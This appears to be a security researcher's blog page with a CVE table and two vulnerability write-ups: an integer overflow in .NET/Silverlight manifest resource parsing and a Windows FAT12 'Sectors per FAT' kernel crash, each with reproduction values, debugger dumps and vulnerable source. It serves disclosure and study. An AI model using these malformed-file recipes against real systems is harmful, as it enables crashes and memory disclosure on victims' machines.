For more details about my current research follow me on twitter:
Recent Comments
For more details about my current research follow me on twitter:
[table]
Vulnerability,CVE
Ruby Fiddle::Function.new Heap Overflow Vulnerability,CVE-2016-2339
Ruby pack_pack Use After Free Vulnerability,CVE-2016-2338
Ruby Psych::Emitter start_document Heap Overflow Vulnerability,CVE-2016-2338
Ruby TclTkIp ip_cancel_eval Type Confusion Vulnerabilities,CVE-2016-2337
Ruby WIN32OLE ole_invoke and ole_query_interface Type Confusion Vulnerabilities,CVE-2016-2336
Ruby TkUtil class multiple vulnerabilities – Type Confusion and Use After Free, –
Ruby Array.repeated_permutation “rb_ary_repeated_permutation” IO, *burned*
Ruby ary_double_capa write out of bounds,*burned*
Ruby Array.permutation “rb_ary_permutation” IO,*burned*
Perl pp_flop (range operator) buffer overflow vulnerabilities, *burned*
Perl CPAN Math-BigInt-FastCall module multiple type confusion vulnerabilities,-
Perl CPAN::Encode module multiple type confusion vulnerabilities,-
[/table]
An exploitable information leak or denial of service vulnerability exists in the manifest resource parsing functionality of the .NET Framework. A specially crafted resource can cause an integer overflow resulting in an out of bounds read which may return arbitrary memory contents or cause the application to unexpectedly terminate. An attacker can supply a corrupted manifest through a .NET or Silverlight assembly, which can be automatically loaded in Internet Explorer or other browsers with the appropriate plugin installed. This vulnerability can be used to crash the program or to return memory contents to assist with bypassing memory hardening mitigations such as ASLR.
Microsoft Silverlight 5.1.30514.0
.NET Framework 4.5.50938
http://www.microsoft.com/
6.1 – CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H
.NET Manifest Resources format is undocumented but to learn about it we use one of source mentioned in references [1][2].
It’s structure more less looks in the following way:
+00 : Signature | needs to equal 0xbeefcace +04 : Resource Manager header version +08 : Reader Type string length [*] +0C : Reader String | [*] : Resource version [*]+4 : Number of resources [*]+8 : Number of types [ types ] [align 8] [Resources Name hashes] = Number of resource * DWORD [Offsets to resource names] = Number of resource * DWORD [..] : Data Section offset (...)
We will focus our attention on Number of resources field.
Number of resources in my test application is equal 1, but I malformed its value to :
0x40000001 let’s see what i cause.
Vulnerable code appears in ResourceReader class:
.net\coreclr\src\mscorlib\src\System\Resources\ResourceReader.cs
which has couple constructors but in our scenario we gonna audit one of path where called constructor assign value to _ums field.
So it can be :
Line 175 public ResourceReader(Stream stream)
or
Line 197 internal ResourceReader(Stream stream, Dictionary<String, ResourceLocator> resCache)
Let’s we analyze the way .NET Manifest Resources structure is parsed.
Both constructors call internal _ReadResources method:
Line 870 private void _ReadResources() {
where appropriate parsing has place.
(...) 933 _numResources = _store.ReadInt32(); 934 if (_numResources < 0) { 935 throw new BadImageFormatException(Environment.GetResourceString("BadImageFormat_ResourcesHeaderCorrupted")); 936 } (...)
Number of resources is represented by 32bit signed integer variable which value can’t be larger than MAX_INT.
Later _numResources is used two times in code to calculate stream offset:
991 else { 992 int seekPos = unchecked(4 * _numResources); 993 if (seekPos < 0) { 994 throw new BadImageFormatException(Environment.GetResourceString("BadImageFormat_ResourcesHeaderCorrupted")); 995 } 996 unsafe { 997 _nameHashesPtr = (int*)_ums.PositionPointer; 998 // Skip over the array of nameHashes. 999 _ums.Seek(seekPos, SeekOrigin.Current); 1000 // get the position pointer once more to check that the whole table is within the stream 1001 byte* junk = _ums.PositionPointer; 1002 } 1003 }
You can notice already vulnerable code at line 992 where integer overflow appears. But we won’t focus on it right now, just remember that _nameHashesPtr pointer was initialized here and it points on area where Resources Name hashes(DWORDs) should appears.
We can observe here also that programmer planned to check whether pointer is assigned in stream boundaries but finally nothing is checked.
Second usage of _numResources:
else { int seekPos = unchecked(4 * _numResources); if (seekPos < 0) { throw new BadImageFormatException(Environment.GetResourceString("BadImageFormat_ResourcesHeaderCorrupted")); } unsafe { _namePositionsPtr = (int*)_ums.PositionPointer; // Skip over the array of namePositions. _ums.Seek(seekPos, SeekOrigin.Current); // get the position pointer once more to check that the whole table is within the stream byte* junk = _ums.PositionPointer; } }
Another integer overflow and lack of checking whether _namePositionsPtr points out-of-range.
As we know already where and how _numResources,_nameHashesPtr is set and that there is nearly lack of sanitization for these variables we can run test application with malformed .NET res manifest and see where it crashes.
If application has one .NET resource and it’s major resource e.g MainPage.xaml it gonna be
automatically loaded during application start in components initialization method:
47 [System.Diagnostics.DebuggerNonUserCodeAttribute()] 48 public void InitializeComponent() { 49 if (_contentLoaded) { 50 return; 51 } 52 _contentLoaded = true; 53 System.Windows.Application.LoadComponent(this, new System.Uri("/SilverlightApplication1;component/MainPage.xaml", System.UriKind.Relative));
which gonna trigger vulnerability.
Let’s wee see where application crash:
1:035> r eax=40000000 ebx=20000000 ecx=80be126c edx=20000000 esi=00000000 edi=055b5318 eip=795a8a9c esp=0037ebe8 ebp=0037ebec iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210200 mscorlib_ni+0x348a9c: 795a8a9c 0fb601 movzx eax,byte ptr [ecx] ds:002b:80be126c=?? 1:035> !u eip preJIT generated code System.Resources.ResourceReader.ReadUnalignedI4(Int32*) Begin 795a8a9c, size 1f >>> 795a8a9c 0fb601 movzx eax,byte ptr [ecx] 795a8a9f 0fb65101 movzx edx,byte ptr [ecx+1]
Ok, access violation appears in ReadUnalignedI4 method which code presents in the following way:
245 [System.Security.SecurityCritical] // auto-generated 246 internal static unsafe int ReadUnalignedI4(int* p) 247 { 248 byte* buffer = (byte*)p; 249 // Unaligned, little endian format 250 return buffer[0] | (buffer[1] << 8) | (buffer[2] << 16) | (buffer[3] << 24); 251 }
To understand from this *p pointer came from and how its value was calculated let’s we take a look on call stack:
>!dumpstack System.Resources.ResourceReader.ReadUnalignedI4(Int32*)) System.Resources.ResourceReader.GetNameHash(Int32)), System.Resources.ResourceReader.FindPosForResource(System.String)) System.Collections.Generic.Dictionary`2[[System.__Canon, mscorlib],[System.Resources.ResourceLocator, mscorlib]].TryGetValue(System.__Canon, System.Resources.ResourceLocator ByRef)), System.Resources.RuntimeResourceSet.GetObject(System.String, Boolean, Boolean)), System.Resources.RuntimeResourceSet.GetObject(System.String, Boolean)), System.Resources.ResourceManager.GetObject(System.String, System.Globalization.CultureInfo, Boolean)) System.Resources.ResourceManager.GetStream(System.String, System.Globalization.CultureInfo)), System.Windows.ResourceManagerWrapper.GetResourceForUri(System.Uri, System.Type)), System.Windows.Application.LoadComponent(System.Object, System.Uri)), SilverlightApp1.MainPage.InitializeComponent()), (...)
We will start our investigation in FindPosForResource method.
316 internal int FindPosForResource(String name) 317 { 318 Contract.Assert(_store != null, "ResourceReader is closed!"); 319 int hash = FastResourceComparer.HashFunction(name); 320 BCLDebug.Log("RESMGRFILEFORMAT", "FindPosForResource for "+name+" hash: "+hash.ToString("x", CultureInfo.InvariantCulture)); 321 // Binary search over the hashes. Use the _namePositions array to 322 // determine where they exist in the underlying stream. 323 int lo = 0; 324 int hi = _numResources - 1; 325 int index = -1; 326 bool success = false; 327 while (lo <= hi) { 328 index = (lo + hi) >> 1; 329 // Do NOT use subtraction here, since it will wrap for large 330 // negative numbers. 331 int currentHash = GetNameHash(index);
As You can guess function is searching for particular resource pointed by name using its hash representation Line 319. Calculated hash is search in array pointed by _nameHashesPtr which initialization we observe in _ReadResources method. Index for this array is calculated based on malformed by us _numResources. Let we remind that original value of _numResources was 1 and malformed is 0x40000001. Having breakpoint at the beginning of FindPosForResource method we can easy check it out:
eax=055b52c0 ebx=055b2e0c ecx=055b5318 edx=055b3938 esi=ffffffff edi=0037ec88 eip=795a8c3c esp=0037ec3c ebp=0037ec98 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 mscorlib_ni+0x348c3c: 795a8c3c 55 push ebp 1:035> !dumpobj ecx Name: System.Resources.ResourceReader MethodTable: 796f446c EEClass: 792a6fd4 Size: 68(0x44) bytes File: C:\Program Files (x86)\Microsoft Silverlight\5.1.30514.0\mscorlib.dll Fields: MT Field Offset Type VT Attr Value Name 796f40c0 4000f6e 14 ...m.IO.BinaryReader 0 instance 055b535c _store 796f42cc 4000f6f 18 ...cator, mscorlib]] 0 instance 055b52e4 _resCache 796e737c 4000f70 4 System.Int64 1 instance 188 _nameSectionOffset 796e737c 4000f71 c System.Int64 1 instance 211 _dataSectionOffset 796cf828 4000f72 1c System.Int32[] 0 instance 00000000 _nameHashes 796f8ae8 4000f73 30 PTR 0 instance 00be126c _nameHashesPtr 796cf828 4000f74 20 System.Int32[] 0 instance 00000000 _namePositions 796f8ae8 4000f75 34 PTR 0 instance 00be1270 _namePositionsPtr 796d17d0 4000f76 24 System.Object[] 0 instance 055b5850 _typeTable 796cf828 4000f77 28 System.Int32[] 0 instance 055b5860 _typeNamePositions 796e71d4 4000f78 38 System.Int32 1 instance 1073741825 _numResources 796ee0d4 4000f79 2c ...nagedMemoryStream 0 instance 055b4d04 _ums 796e71d4 4000f7a 3c System.Int32 1 instance 2 _version
First index value calculated will be 0x20000000. Further index is passed to GetNameHash function.
266 [System.Security.SecuritySafeCritical] // auto-generated 267 private unsafe int GetNameHash(int index) 268 { 269 Contract.Assert(index >=0 && index < _numResources, "Bad index into hash array. index: "+index); 270 Contract.Assert((_ums == null && _nameHashes != null && _nameHashesPtr == null) || 271 (_ums != null && _nameHashes == null && _nameHashesPtr != null), "Internal state mangled."); 272 if (_ums == null) 273 return _nameHashes[index]; 274 else 275 return ReadUnalignedI4(&_nameHashesPtr[index]); 276 }
According to call stack and _ums value which we can observe on ResourceRader object dump above another call is made to ReadUnalignedI4 method where crash appears. Pointer passed to this method as argument is just pointer to element from _nameHashesPtr table. As we can see index argument is used as index in name hashes array which in this case as You can guess will point much much more outside array (Resource section/directory) space.
1:035> !dumpobj 055b4d04 //dump of _ums object Name: System.IO.UnmanagedMemoryStream MethodTable: 796ee0d4 EEClass: 792a39ac Size: 56(0x38) bytes File: C:\Program Files (x86)\Microsoft Silverlight\5.1.30514.0\mscorlib.dll Fields: MT Field Offset Type VT Attr Value Name 796f2674 400123d 3c0 System.IO.Stream 0 shared static Null >> Domain:Value 0500a6b0:NotInit 050acb70:NotInit << 796efb84 4001320 24 ...rvices.SafeBuffer 0 instance 00000000 _buffer 796f8ae8 4001321 28 PTR 0 instance 00be11bc _mem 796e737c 4001322 4 System.Int64 1 instance 1954 _length 796e737c 4001323 c System.Int64 1 instance 1954 _capacity 796e737c 4001324 14 System.Int64 1 instance 188 _position 796e737c 4001325 1c System.Int64 1 instance 0 _offset 796cf860 4001326 2c System.Int32 1 instance 1 _access 796e6b40 4001327 30 System.Boolean 1 instance 1 _isOpen
00be11bc _mem -> pointer to the beginning of .Net Resources Manifest
1954 _length
, so definitely _nameHashesPtr should be constrained to this area.
Moment when pointer to hash element is calculated:
eax=40000000 ebx=20000000 ecx=00be126c edx=20000000 esi=00000000 edi=055b5318 eip=795a8b26 esp=0037ebec ebp=0037ebec iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 mscorlib_ni+0x348b26: 795a8b26 8d0c91 lea ecx,[ecx+edx*4]
notice that index is multiply by 4 (sizeof of element in array). Another place for overflow.
1:035> p eax=40000000 ebx=20000000 ecx=80be126c edx=20000000 esi=00000000 edi=055b5318 eip=795a8b29 esp=0037ebec ebp=0037ebec iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 mscorlib_ni+0x348b29: 795a8b29 e86effffff call mscorlib_ni+0x348a9c (795a8a9c)
and finally read access violation appears during read of first byte from calculated pointer:
1:035> p (23e8.2504): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=40000000 ebx=20000000 ecx=80be126c edx=20000000 esi=00000000 edi=055b5318 eip=795a8a9c esp=0037ebe8 ebp=0037ebec iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202 mscorlib_ni+0x348a9c: 795a8a9c 0fb601 movzx eax,byte ptr [ecx] ds:002b:80be126c=??
FAULTING_IP: mscorlib_ni+348a9c 795a8a9c 0fb601 movzx eax,byte ptr [ecx] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 795a8a9c (mscorlib_ni+0x00348a9c) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 80be126c Attempt to read from address 80be126c FAULTING_THREAD: 00002504 DEFAULT_BUCKET_ID: WRONG_SYMBOLS PROCESS_NAME: plugin-container.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - Instrukcja spod 0x%08lx odwo EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - Instrukcja spod 0x%08lx odwo EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 80be126c READ_ADDRESS: 80be126c FOLLOWUP_IP: mscorlib_ni+348a9c 795a8a9c 0fb601 movzx eax,byte ptr [ecx] NTGLOBALFLAG: 470 APPLICATION_VERIFIER_FLAGS: 0 APP: plugin-container.exe MANAGED_STACK: (TransitionMU) 0037EBE8 795A8A9C mscorlib_ni!System.Resources.ResourceReader.ReadUnalignedI4(Int32*) 0037EBEC 795A8B2E mscorlib_ni!System.Resources.ResourceReader.GetNameHash(Int32)+0x22 0037EBF4 795A8C88 mscorlib_ni!System.Resources.ResourceReader.FindPosForResource(System.String)+0x4c 0037EC40 795A6774 mscorlib_ni!System.Resources.RuntimeResourceSet.GetObject(System.String, Boolean, Boolean)+0xb8 0037ECA8 795A646D mscorlib_ni!System.Resources.RuntimeResourceSet.GetObject(System.String, Boolean)+0xd 0037ECB0 795A3057 mscorlib_ni!System.Resources.ResourceManager.GetObject(System.String, System.Globalization.CultureInfo, Boolean)+0xc7 0037ECF4 795A3163 mscorlib_ni!System.Resources.ResourceManager.GetStream(System.String, System.Globalization.CultureInfo)+0x13 0037ED08 56E28AB7 System_Windows_ni!System.Windows.ResourceManagerWrapper.GetResourceForUri(System.Uri, System.Type)+0x197 0037ED4C 56E0604A System_Windows_ni!System.Windows.Application.LoadComponent(System.Object, System.Uri)+0x17a 0037ED90 00BF02C6 UNKNOWN!Inplay.Page.InitializeComponent()+0x8e 0037EDD8 00BF0217 UNKNOWN!Inplay.Page..ctor(System.Collections.Generic.IDictionary`2<System.String,System.String>)+0xc7 0037EDEC 00BF0126 UNKNOWN!Inplay.Application.Application_Startup(System.Object, System.Windows.StartupEventArgs)+0x5e 0037EE0C 56E27053 System_Windows_ni!MS.Internal.CoreInvokeHandler.InvokeEventHandler(UInt32, System.Delegate, System.Object, System.Object)+0x3d3 0037EE38 56E052A9 System_Windows_ni!MS.Internal.JoltHelper.FireEvent(IntPtr, IntPtr, Int32, Int32, System.String, UInt32)+0x38d 0037EE88 56EA0A59 System_Windows_ni!DomainNeutralILStubClass.IL_STUB_ReversePInvoke(Int32, Int32, Int32, Int32, IntPtr, Int32)+0x61 (TransitionUM) MANAGED_STACK_COMMAND: _EFN_StackTrace LAST_CONTROL_TRANSFER: from 795a8c88 to 795a8a9c PRIMARY_PROBLEM_CLASS: WRONG_SYMBOLS BUGCHECK_STR: APPLICATION_FAULT_WRONG_SYMBOLS STACK_TEXT: 0037ebe8 00000000 unknown.dll!Inplay.Page.InitializeComponent+0x8e 0037ebec 00000000 unknown.dll!Inplay.Page.InitializeComponent+0x8e 0037ebf4 00000000 unknown.dll!Inplay.Page.InitializeComponent+0x8e 0037ec40 00000000 unknown.dll!Inplay.Page.InitializeComponent+0x8e 0037eca8 00000000 unknown.dll!Inplay.Page.InitializeComponent+0x8e 0037ecb0 00000000 unknown.dll!Inplay.Page.InitializeComponent+0x8e 0037ecf4 00000000 unknown.dll!Inplay.Page.InitializeComponent+0x8e 0037ed08 00000000 unknown.dll!Inplay.Page.InitializeComponent+0x8e 0037ed4c 00000000 unknown.dll!Inplay.Page.InitializeComponent+0x8e 0037ed90 00000000 unknown.dll!Inplay.Page.InitializeComponent+0x8e 0037edd8 00000000 unknown.dll!Inplay.Page..ctor+0xc7 0037edec 00000000 unknown.dll!Inplay.Application.Application_Startup+0x5e 0037ee0c 56e27053 system_windows_ni!MS.Internal.CoreInvokeHandler.InvokeEventHandler+0x3d3 0037ee38 56e052a9 system_windows_ni!MS.Internal.JoltHelper.FireEvent+0x38d 0037ee88 56ea0a59 system_windows_ni!DomainNeutralILStubClass.IL_STUB_ReversePInvoke+0x61 SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: unknown.dll!Inplay.Page.InitializeComponent FOLLOWUP_NAME: MachineOwner MODULE_NAME: unknown IMAGE_NAME: unknown.dll DEBUG_FLR_IMAGE_TIMESTAMP: 0 STACK_COMMAND: _EFN_StackTrace ; ** Pseudo Context ** ; kb FAILURE_BUCKET_ID: WRONG_SYMBOLS_c0000005_unknown.dll!Inplay.Page.InitializeComponent BUCKET_ID: APPLICATION_FAULT_WRONG_SYMBOLS_unknown.dll!Inplay.Page.InitializeComponent Followup: MachineOwner ---------
[1] http://www.codeproject.com/Articles/12096/NET-Manifest-Resources
[2] https://github.com/dotnet/coreclr
Do You remember story about MS14-063 from last year ? It turns out there is continuation of it, but this time inside FAT12 partition.
[VIDEO] Time to stick the magic stick
Affected systems
From Windows NT to Windows 7 SP1
I personally tested it on :
* Windows XP SP3 x86
* Windows 7 SP1 x86/x64
Bug reconstruction
1. Create FAT12 partition and set WORD at offset 0x16 (Sectors per FAT) to e.g. 0x3000.
Note:
Do NOT exceed 0x3FFF value.
How to do this http://wiki.osdev.org/Loopback_Device and suggested parameters bs=512 count=32067.
Image can be empty.
Details
Malformed value of field “Sectors per FAT” in FAT12 Boot sector, leads to attempt to read of unallocated memory region during FAT 1 mapping into cache.
My malformed partition presents in the following way:
Crash dump
Windows 7 SP1 x86
kd> !analyze -v ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: a3f00000, memory referenced. Arg2: 00000000, value 0 = read operation, 1 = write operation. Arg3: 82a6a05e, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000000, (reserved) Debugging Details: ------------------ READ_ADDRESS: a3f00000 FAULTING_IP: nt!CcMapData+ae 82a6a05e 8a0e mov cl,byte ptr [esi] MM_INTERNAL_CODE: 0 DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT BUGCHECK_STR: 0x50 PROCESS_NAME: explorer.exe CURRENT_IRQL: 2 TRAP_FRAME: a2447414 -- (.trap 0xffffffffa2447414) ErrCode = 00000000 eax=000006e2 ebx=86eb8b98 ecx=a2447400 edx=00000011 esi=a3f00000 edi=0000000f eip=82a6a05e esp=a2447488 ebp=a24474c8 iopl=0 nv up ei pl nz ac po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010212 nt!CcMapData+0xae: 82a6a05e 8a0e mov cl,byte ptr [esi] ds:0023:a3f00000=?? Resetting default scope LAST_CONTROL_TRANSFER: from 82916d5f to 828b27b8 STACK_TEXT: a2446f64 82916d5f 00000003 6641e18b 00000065 nt!RtlpBreakWithStatusInstruction a2446fb4 8291785d 00000003 00000000 00082982 nt!KiBugCheckDebugBreak+0x1c a2447378 828c5879 00000050 a3f00000 00000000 nt!KeBugCheck2+0x68b a24473fc 82878aa8 00000000 a3f00000 00000000 nt!MmAccessFault+0x104 a24473fc 82a6a05e 00000000 a3f00000 00000000 nt!KiTrap0E+0xdc a24474c8 975dbb32 86e819c0 004474ec 00721e00 nt!CcMapData+0xae a24474f4 975d9e1d a2b52fb8 85dad920 00001000 fastfat!FatReadVolumeFile+0x3a a2447580 975da534 a2b52fb8 a2447524 00000002 fastfat!FatExamineFatEntries+0x11f a24475e8 975ecd64 a2b52fb8 85dad920 3519a638 fastfat!FatSetupAllocationSupport+0x38a a2447774 975ee3cf a2b52fb8 8a9b0da8 a3392fa8 fastfat!FatMountVolume+0x418 a2447794 975ee478 a2b52fb8 93528e90 3519a6ac fastfat!FatCommonFileSystemControl+0x3f a24477e0 82b696c3 82275620 93528e90 93528e90 fastfat!FatFsdFileSystemControl+0x82 a2447804 8286ebd5 00000001 93528ff4 82275620 nt!IovCallDriver+0x258 a2447818 85499a56 270d61d5 8229bde8 93528e90 nt!IofCallDriver+0x1b a2447878 85499c5b 8229bde8 93528e90 86f2c678 fltmgr!FltpFsControlMountVolume+0x180 a24478a8 82b696c3 8229bde8 93528e90 93528e90 fltmgr!FltpFsControl+0x5b a24478cc 8286ebd5 00000001 8296fb88 8229bde8 nt!IovCallDriver+0x258 a24478e0 829d1dd9 82804870 8a9b0da8 82804900 nt!IofCallDriver+0x1b a2447944 828df92e 8a9b0da8 85dac000 00000000 nt!IopMountVolume+0x1d8 a244797c 82a7ddfb 85dac008 a2447aa8 a2447a40 nt!IopCheckVpbMounted+0x64 a2447a60 82a5dd1e 8a9b0da8 851cfde8 85d66750 nt!IopParseDevice+0x7db a2447adc 82a6e147 00000000 a2447b30 00000040 nt!ObpLookupObjectName+0x4fa a2447b38 82a64c25 02effc44 851cfde8 828b1d01 nt!ObOpenObjectByName+0x165 a2447bb4 82a884a4 02effca0 00100081 02effc44 nt!IopCreateFile+0x673 a2447c00 828758c6 02effca0 00100081 02effc44 nt!NtCreateFile+0x34 a2447c00 776170f4 02effca0 00100081 02effc44 nt!KiSystemServicePostCall 02effc00 77615614 7573a9d9 02effca0 00100081 ntdll!KiFastSystemCallRet 02effc04 7573a9d9 02effca0 00100081 02effc44 ntdll!ZwCreateFile+0xc 02effca8 772ce99f 00004000 00100081 00000007 KERNELBASE!CreateFileW+0x35e 02effcd4 761a2fc5 03cc0038 00000001 00000007 kernel32!CreateFileWImplementation+0x69 02effd38 761a2bc9 03cc0038 00000001 00000000 SHELL32!CLocalInterruptSource::v_CreateEvent+0x41 02effd5c 761aac0f 0368f598 00000000 02effd94 SHELL32!CFSInterruptSource::GetEvent+0x7b 02effd9c 761aa92a 02effdc0 00000000 006e7a90 SHELL32!CChangeNotify::_GetInterruptEvents+0x93 02effdc8 7611561b 00000000 00000000 00000067 SHELL32!CChangeNotify::_MessagePump+0x67 02effde0 75fd43c0 006e7a90 00000000 00000000 SHELL32!CChangeNotify::s_ThreadProc+0x4f 02effe68 772cee1c 0201ed74 02effeb4 776337eb SHLWAPI!WrapperThreadProc+0x1b5 02effe74 776337eb 0201ed74 758640f9 00000000 kernel32!BaseThreadInitThunk+0xe 02effeb4 776337be 75fd42ed 0201ed74 00000000 ntdll!__RtlUserThreadStart+0x70 02effecc 00000000 75fd42ed 0201ed74 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: kb FOLLOWUP_IP: nt!CcMapData+ae 82a6a05e 8a0e mov cl,byte ptr [esi] SYMBOL_STACK_INDEX: 5 SYMBOL_NAME: nt!CcMapData+ae FOLLOWUP_NAME: MachineOwner MODULE_NAME: nt IMAGE_NAME: ntkrpamp.exe DEBUG_FLR_IMAGE_TIMESTAMP: 521e9cb6 FAILURE_BUCKET_ID: 0x50_VRF_nt!CcMapData+ae BUCKET_ID: 0x50_VRF_nt!CcMapData+ae Followup: MachineOwner ---------
Vulnerable code:
\wrk-v1.2\base\ntos\cache\pinsup.c
Line 72: BOOLEAN CcMapData ( __in PFILE_OBJECT FileObject, __in PLARGE_INTEGER FileOffset, __in ULONG Length, __in ULONG Flags, __out PVOID *Bcb, __deref_out_bcount(Length) PVOID *Buffer ) ... Line 155: ULONG PageCount = ADDRESS_AND_SIZE_TO_SPAN_PAGES((ULongToPtr(FileOffset->LowPart)), Length); PETHREAD Thread = PsGetCurrentThread(); BOOLEAN ReturnStatus; DebugTrace(+1, me, "CcMapData\n", 0 ); MmSavePageFaultReadAhead( Thread, &SavedState ); ReturnStatus = CcMapDataCommon( FileObject, FileOffset, Length, Flags, &TempBcb, Buffer ); ... Line 193 // // Loop to touch each page // BaseAddress = *Buffer; while (PageCount != 0) { MmSetPageFaultReadAhead( Thread, PageCount - 1 ); ch = *((volatile UCHAR *)(BaseAddress)); // <---------- CRASH!!!! BaseAddress = (PCHAR) BaseAddress + PAGE_SIZE; PageCount -= 1; }
PageCount is calculated based on controlled Length value, which in this case (read of FATx) consists of:
Sectors per FAT * Bytes per sector
kd> . frame /c 5 kd> dd ebp+10 L1 //get Length value f53e1510 00721e00 kd> ?00721e00 / 0x200(= Bytes per sector) Evaluate expression: 14607 = 0000390f (= Sectors per FAT)
FileOffset equals:
kd> dt _LARGE_INTEGER poi(ebp+c) nt!_LARGE_INTEGER 0x200 +0x000 LowPart : 0x200 +0x004 HighPart : 0 +0x000 u : __unnamed +0x000 QuadPart : 512
PageCount for these values equals:
Evaluate expression: 1826 = 00000722
Each While-Loop iteration, BaseAddress pointer is increased by PAGE_SIZE, so in this scenario memory region which will be “cover” by this loop is:
kd> ?(0x722 * 0x1000) / 0x400 ------------^-----------^----------^---- PageCount PAGE_SIZE 1KB Evaluate expression: 7304 = 00001c88 kd> ?00001c88 / 0x400 Evaluate expression: 7 = 00000007 ~ 7MB
Let’s check how many bytes we are really able to cache:
\wrk-v1.2\base\ntos\cache\pinsup.c
Line 241: BOOLEAN CcMapDataCommon ( IN PFILE_OBJECT FileObject, IN PLARGE_INTEGER FileOffset, IN ULONG Length, IN ULONG Flags, OUT PVOID *Bcb, OUT PVOID *Buffer ) ... Line 350: // // Get pointer to SharedCacheMap. // SharedCacheMap = FileObject->SectionObjectPointer->SharedCacheMap; // // Call local routine to Map or Access the file data. If we cannot map // the data because of a Wait condition, return FALSE. // if (FlagOn(Flags, MAP_WAIT)) { *Buffer = CcGetVirtualAddress( SharedCacheMap, *FileOffset, (PVACB *)&TempBcb, &ReceivedLength ); ASSERT( ReceivedLength >= Length ); // maybe convert it to IF ? }
checking ReceiveLength in CcGetVirtualAddress:
\wrk-v1.2\base\ntos\cache\vacbsup.c
Line 388: ULONG VacbOffset = FileOffset.LowPart & (VACB_MAPPING_GRANULARITY - 1); ... Line 449: *ReceivedLength = VACB_MAPPING_GRANULARITY - VacbOffset;
What is value of VACB_MAPPING_GRANULARITY ?
\wrk-v1.2\base\ntos\inc\cache.h
Line 31: #define VACB_MAPPING_GRANULARITY (0x40000)
Fragments of code suggest us that ReceiveLength should at least be equal Lenght and maximum value of ReceiveLength can be 0x40000 bytes which is 256KB.
MSDN CcMapData
http://msdn.microsoft.com/en-us/library/windows/hardware/ff539155(v=vs.85).aspx
CcMapData cannot map data across view boundaries in the cache manager. The cache manager manages files in the system in 256 KB-aligned views. (The cache manager’s view size is specified by the system-defined constant VACB_MAPPING_GRANULARITY, which is set to 256 KB in ntifs.h.) Mapped regions cannot span more than one 256 KB view. Therefore, the largest region that can be mapped is 256 KB, beginning at a 256 KB-aligned offset in the file.
Code and documentation clearly points that mapped region of file data can’t exceed 256KB.
In our case kernel will act like there is ~7MB of available space what leads to crash after iteration over available 256KB’s.
Why bug exists?
Lack of verification Length value, leads to iteration in this loop:
\wrk-v1.2\base\ntos\cache\pinsup.c
Line 198 while (PageCount != 0) { MmSetPageFaultReadAhead( Thread, PageCount - 1 ); ch = *((volatile UCHAR *)(BaseAddress)); // <---------- CRASH!!!! BaseAddress = (PCHAR) BaseAddress + PAGE_SIZE; PageCount -= 1; }
over available mapped/allocated region.
During my research I observed that not each value of Sectors per FAT bigger than 0x0200 will cause crash. E.g. Sectors per FAT set to 0x4000 causes exception in Fastfat!FatCommonRead:
Stack trace when Sectors per FAT == 40 00
Windows XP SP3 ChildEBP RetAddr Args to Child bad46fc0 b7e0d505 86a69e50 bad46fec 804e24f1 Fastfat!FatExceptionFilter+0x5 bad46fcc 804e24f1 bad46ff4 00000000 bad46ff4 Fastfat!FatFsdRead+0x12b bad46ff4 804db49a bad470d8 bad47518 bad47128 nt!_except_handler3+0x61 bad47018 804db46b bad470d8 bad47518 bad47128 nt!ExecuteHandler2+0x26 bad470c8 804dc6a1 bad470d8 bad47128 c000000d nt!ExecuteHandler+0x24 bad473fc b7e12fc4 c000000d 86a69e50 8667b888 nt!ExRaiseStatus+0xb5 bad474b8 b7e0d69a 86a69e50 8667b888 86a501e8 Fastfat!FatCommonRead+0x66b bad47528 804e37f7 8686ba98 8667b888 00000000 Fastfat!FatFsdRead+0x13d bad47538 804f95d8 00000000 86b01ad0 86b01ae0 nt!IopfCallDriver+0x31 bad4754c 804f95ff 8686ba98 86b01b08 86b01ae8 nt!IopPageReadInternal+0xf4 bad4756c 804f9264 86a501e8 86b01b08 86b01ae8 nt!IoPageRead+0x1b bad475e0 804eba6a 0dead8c0 c7fc0000 c031ff00 nt!MiDispatchFault+0x274 bad47630 804e1718 00000000 c7fc0000 00000000 nt!MmAccessFault+0x5bc bad47630 8056d716 00000000 c7fc0000 00000000 nt!KiTrap0E+0xcc bad47708 b7e15b25 86a501e8 bad47734 00001000 nt!CcMapData+0xef bad4773c b7e1e8b6 86a84e28 8698b3a8 00000000 Fastfat!FatReadDirectoryFile+0x92 bad47770 b7e137b7 86a84e28 8686bb90 bad47880 Fastfat!FatLocateVolumeLabel+0x7f bad4790c b7e10a93 86a84e28 86b6a718 86bd3af0 Fastfat!FatMountVolume+0x49b bad4792c b7e10a38 86a84e28 8690eaf0 8690ec78 Fastfat!FatCommonFileSystemControl+0x49 bad47978 804e37f7 86a2d928 8690eaf0 8690ec9c Fastfat!FatFsdFileSystemControl+0x85 EXCEPTION: Fastfat!FatExceptionFilter+0x5: b7e0d485 53 push ebx kd> .exr poi(poi(ebp+c)) ExceptionAddress: b7e12fc4 (Fastfat!FatCommonRead+0x0000066b) ExceptionCode: c000000d // STATUS_INVALID_PARAMETER ExceptionFlags: 00000001 